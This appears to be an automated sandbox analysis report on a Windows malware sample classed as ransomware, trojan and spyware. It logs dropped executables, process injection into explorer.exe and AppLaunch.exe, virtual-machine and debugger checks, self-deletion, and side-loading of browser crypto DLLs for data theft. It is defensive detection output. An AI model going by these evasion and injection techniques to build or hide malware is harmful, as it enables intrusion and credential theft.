Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\sfrvjvv

Jump to behavior

Source: classification engine

Classification label: mal100.rans.troj.spyw.evad.winEXE@19/22@2/3

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 13_2_00415EAC GetLastError,FormatMessageA,

13_2_00415EAC

Source: C:\Windows\SysWOW64\regsvr32.exe

Key opened: HKEY_CURRENT_USER\Software\Borland\Delphi\Locales

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 13_2_004128C8 FindResourceA,LoadResource,SizeofResource,LockResource,

13_2_004128C8

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\file.exe C:\Users\user\Desktop\file.exe
Source: unknown	Process created: C:\Users\user\AppData\Roaming\sfrvjvv C:\Users\user\AppData\Roaming\sfrvjvv
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user~1\AppData\Local\Temp\FED8.dll
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user~1\AppData\Local\Temp\FED8.dll
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\253.exe C:\Users\user~1\AppData\Local\Temp\253.exe
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\959.exe C:\Users\user~1\AppData\Local\Temp\959.exe
Source: C:\Users\user\AppData\Local\Temp\959.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\253.exe	Process created: C:\Users\user\AppData\Local\Temp\253.exe C:\Users\user~1\AppData\Local\Temp\253.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe
Source: C:\Users\user\AppData\Local\Temp\959.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user~1\AppData\Local\Temp\FED8.dll	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\253.exe C:\Users\user~1\AppData\Local\Temp\253.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Users\user\AppData\Local\Temp\959.exe C:\Users\user~1\AppData\Local\Temp\959.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe C:\Windows\explorer.exe	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe	Process created: C:\Windows\SysWOW64\regsvr32.exe /s C:\Users\user~1\AppData\Local\Temp\FED8.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\253.exe	Process created: C:\Users\user\AppData\Local\Temp\253.exe C:\Users\user~1\AppData\Local\Temp\253.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\959.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0f87369f-a4e5-4cfc-bd3e-73e6154572dd}\InprocServer32

Jump to behavior

Source: C:\Windows\explorer.exe

File created: C:\Users\user~1\AppData\Local\Temp\FED8.tmp

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 13_2_0040765A GetDiskFreeSpaceA,

13_2_0040765A

Source: softokn3.dll.20.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: sqlite3.dll.20.dr, nss3.dll.20.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: softokn3.dll.20.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: softokn3.dll.20.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %s
Source: sqlite3.dll.20.dr, nss3.dll.20.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: sqlite3.dll.20.dr, nss3.dll.20.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: sqlite3.dll.20.dr, nss3.dll.20.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: softokn3.dll.20.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: softokn3.dll.20.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: softokn3.dll.20.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: softokn3.dll.20.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: softokn3.dll.20.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: sqlite3.dll.20.dr, nss3.dll.20.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: sqlite3.dll.20.dr	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,stmt HIDDEN);
Source: sqlite3.dll.20.dr, nss3.dll.20.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: softokn3.dll.20.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: sqlite3.dll.20.dr	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: sqlite3.dll.20.dr	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: softokn3.dll.20.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1156:120:WilError_01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Mutant created: \Sessions\1\BaseNamedObjects\264782971_qJ5tS2bD5fD1nZ5kD2kV

Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe
Source: C:\Windows\explorer.exe	Process created: C:\Windows\SysWOW64\explorer.exe	Jump to behavior
Source: C:\Windows\explorer.exe	Process created: C:\Windows\explorer.exe	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\253.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\253.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\SysWOW64\explorer.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Windows\SysWOW64\msvcr100.dll

Jump to behavior

Source: file.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: 253.exe, 0000000E.00000002.450132397.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, 253.exe, 00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 253.exe, 00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 253.exe, 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdbp source: softokn3.dll.20.dr
Source:	Binary string: C:\rufud-fuza.pdb source: 253.exe, 0000000E.00000000.365710551.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, 253.exe, 0000000E.00000002.441234028.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, 253.exe, 00000012.00000000.379623038.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: '-&C:\liv98\mid-hiza.pdb source: file.exe
Source:	Binary string: C:\liv98\mid-hiza.pdb source: file.exe
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: 253.exe, 0000000E.00000002.450132397.00000000023D0000.00000040.00001000.00020000.00000000.sdmp, 253.exe, 00000012.00000000.420031906.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 253.exe, 00000012.00000002.451482759.0000000000400000.00000040.00000400.00020000.00000000.sdmp, 253.exe, 00000012.00000000.404293183.0000000000400000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: nss3.pdb source: nss3.dll.20.dr
Source:	Binary string: &#R/C:\rufud-fuza.pdb source: 253.exe, 0000000E.00000000.365710551.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, 253.exe, 0000000E.00000002.441234028.0000000000401000.00000020.00000001.01000000.0000000A.sdmp, 253.exe, 00000012.00000000.379623038.0000000000401000.00000020.00000001.01000000.0000000A.sdmp
Source:	Binary string: softokn3.pdb source: softokn3.dll.20.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Unpacked PE file: 11.2.sfrvjvv.400000.0.unpack .text:ER;.data:W;.rsrc:R; vs .text:EW;

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E1890 push cs; retf	0_2_005E189C
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_005A1890 push cs; retf	11_2_005A189C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_00436068 push ecx; ret	13_2_0043639E
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_00428000 push ecx; mov dword ptr [esp], eax	13_2_00428005
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_004250D0 push ecx; mov dword ptr [esp], edx	13_2_004250D8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040C094 push 0040C210h; ret	13_2_0040C208
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0042F172 push 0042F1A0h; ret	13_2_0042F198
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0042F174 push 0042F1A0h; ret	13_2_0042F198
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_004061E0 push 0040620Ch; ret	13_2_00406204
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0042F1AC push 0042F370h; ret	13_2_0042F368
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040F1B4 push 0040F22Ah; ret	13_2_0040F222
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040C212 push 0040C283h; ret	13_2_0040C27B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040C214 push 0040C283h; ret	13_2_0040C27B
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040F22C push 0040F2D4h; ret	13_2_0040F2CC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040F2D6 push 0040F384h; ret	13_2_0040F37C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040C28C push 0040C2C0h; ret	13_2_0040C2B8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040C294 push 0040C2C0h; ret	13_2_0040C2B8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0042F344 push 0042F370h; ret	13_2_0042F368
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_00432348 push 00432402h; ret	13_2_004323FA
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040F358 push 0040F384h; ret	13_2_0040F37C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_00413302 push 004133AFh; ret	13_2_004133A7
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_00413304 push 004133AFh; ret	13_2_004133A7
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_004133B4 push 00413444h; ret	13_2_0041343C
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040F3BB push 0040F409h; ret	13_2_0040F401
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040F3BC push 0040F409h; ret	13_2_0040F401
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_00413446 push 004134E4h; ret	13_2_004134DC
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0043045C push 0043048Fh; ret	13_2_00430487
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040F40D push 0040F440h; ret	13_2_0040F438
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_0040F414 push 0040F440h; ret	13_2_0040F438
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_004304A4 push 004304D0h; ret	13_2_004304C8
Source: C:\Windows\SysWOW64\regsvr32.exe	Code function: 13_2_004134B8 push 004134E4h; ret	13_2_004134DC

Source: C:\Windows\explorer.exe

Process created: C:\Windows\System32\regsvr32.exe regsvr32 /s C:\Users\user~1\AppData\Local\Temp\FED8.dll

Source: 959.exe.1.dr	Static PE information: section name: /4
Source: 959.exe.1.dr	Static PE information: section name: /14
Source: 959.exe.1.dr	Static PE information: section name: /29
Source: 959.exe.1.dr	Static PE information: section name: /41
Source: 959.exe.1.dr	Static PE information: section name: /55
Source: 959.exe.1.dr	Static PE information: section name: /67
Source: 959.exe.1.dr	Static PE information: section name: /80
Source: 959.exe.1.dr	Static PE information: section name: /91
Source: 959.exe.1.dr	Static PE information: section name: /102
Source: nss3.dll.20.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.20.dr	Static PE information: section name: .didat
Source: mozglue.dll.20.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.20.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.20.dr	Static PE information: section name: .00cfg
Source: sqlite3.dll.20.dr	Static PE information: section name: /4
Source: sqlite3.dll.20.dr	Static PE information: section name: /19
Source: sqlite3.dll.20.dr	Static PE information: section name: /31
Source: sqlite3.dll.20.dr	Static PE information: section name: /45
Source: sqlite3.dll.20.dr	Static PE information: section name: /57
Source: sqlite3.dll.20.dr	Static PE information: section name: /70
Source: sqlite3.dll.20.dr	Static PE information: section name: /81
Source: sqlite3.dll.20.dr	Static PE information: section name: /92

Source: C:\Windows\explorer.exe

File created: C:\Users\user\AppData\Roaming\sfrvjvv

Jump to dropped file

Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\959.exe	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\FED8.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\vcruntime140.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\freebl3.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Local\Temp\253.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\softokn3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\msvcp140.dll	Jump to dropped file
Source: C:\Windows\explorer.exe	File created: C:\Users\user\AppData\Roaming\sfrvjvv	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\nss3.dll	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	File created: C:\Users\user\AppData\LocalLow\mozglue.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Deletes itself after installation

Source: C:\Windows\explorer.exe

File deleted: c:\users\user\desktop\file.exe

Jump to behavior

Hides that the sample has been downloaded from the Internet (zone.identifier)

Source: C:\Windows\explorer.exe

File opened: C:\Users\user\AppData\Roaming\sfrvjvv:Zone.Identifier read attributes | delete

Jump to behavior

Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\253.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\253.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\253.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\253.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\253.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\253.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\959.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI	Jump to behavior

Source: C:\Windows\explorer.exe TID: 1764	Thread sleep count: 644 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5208	Thread sleep count: 352 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5208	Thread sleep time: -35200s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5032	Thread sleep count: 314 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 5032	Thread sleep time: -31400s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 101248	Thread sleep count: 324 > 30	Jump to behavior
Source: C:\Windows\explorer.exe TID: 101256	Thread sleep count: 51 > 30	Jump to behavior

Source: C:\Windows\explorer.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 644			Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 352			Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

API coverage: 4.4 %

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\freebl3.dll			Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Dropped PE file which has not been started: C:\Users\user\AppData\LocalLow\softokn3.dll			Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe

Registry key enumerated: More than 173 enums for key HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall

Source: C:\Windows\SysWOW64\regsvr32.exe

API call chain: ExitProcess graph end node

graph_13-22596

Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\css\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\images\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\_locales\bg\	Jump to behavior
Source: C:\Windows\SysWOW64\explorer.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.5_0\html\	Jump to behavior

Source: explorer.exe, 00000001.00000000.264778667.0000000007AFF000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000001.00000000.264895763.0000000007B66000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&0000008
Source: explorer.exe, 00000001.00000000.265024888.0000000007BB1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: AppLaunch.exe, 00000014.00000003.463094517.0000000000997000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.430460941.0000000000994000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.464582648.0000000000997000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000002.491953856.0000000000997000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW8O
Source: explorer.exe, 00000001.00000000.289904636.0000000005EF4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: 253.exe, 00000012.00000002.454048007.0000000000787000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0
Source: 253.exe, 00000012.00000002.454848493.00000000007DB000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.430460941.0000000000994000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.433690145.0000000000996000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.429706137.0000000000969000.00000004.00000020.00020000.00000000.sdmp, AppLaunch.exe, 00000014.00000003.449619497.0000000000996000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: explorer.exe, 00000001.00000000.265024888.0000000007BB1000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}E2%d
Source: explorer.exe, 00000001.00000000.321079884.0000000005F12000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 13_2_0041643C GetSystemInfo,

13_2_0041643C

Source: C:\Windows\SysWOW64\regsvr32.exe

Code function: 13_2_00404C5C GetModuleHandleA,GetProcAddress,lstrcpyn,lstrcpyn,lstrcpyn,FindFirstFileA,FindClose,lstrlen,lstrcpyn,lstrlen,lstrcpyn,

13_2_00404C5C

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Anti Debugging

Checks for kernel code integrity (NtQuerySystemInformation(CodeIntegrityInformation))

Source: C:\Users\user\Desktop\file.exe	System information queried: CodeIntegrityInformation			Jump to behavior
Source: C:\Users\user\AppData\Roaming\sfrvjvv	System information queried: CodeIntegrityInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E092B mov eax, dword ptr fs:[00000030h]	0_2_005E092B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_005E0D90 mov eax, dword ptr fs:[00000030h]	0_2_005E0D90
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_005A092B mov eax, dword ptr fs:[00000030h]	11_2_005A092B
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Code function: 11_2_005A0D90 mov eax, dword ptr fs:[00000030h]	11_2_005A0D90

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Process queried: DebugPort			Jump to behavior

Source: C:\Windows\SysWOW64\regsvr32.exe

Memory protected: page write copy | page execute and write copy | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Benign windows process drops PE files

Source: C:\Windows\explorer.exe

File created: sfrvjvv.1.dr

Jump to dropped file

Maps a DLL or memory area into another process

Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Section loaded: unknown target: C:\Windows\explorer.exe protection: read write	Jump to behavior
Source: C:\Users\user\AppData\Roaming\sfrvjvv	Section loaded: unknown target: C:\Windows\explorer.exe protection: execute and read	Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\253.exe	Memory written: C:\Users\user\AppData\Local\Temp\253.exe base: 400000 value starts with: 4D5A			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\959.exe	Memory written: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe base: 3B0000 value starts with: 4D5A			Jump to behavior

DLL side loading technique detected

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Users\user\AppData\LocalLow\sqlite3.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Users\user\AppData\LocalLow\nss3.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AppLaunch.exe	Section loaded: C:\Users\user\AppData\LocalLow\mozglue.dll	Jump to behavior
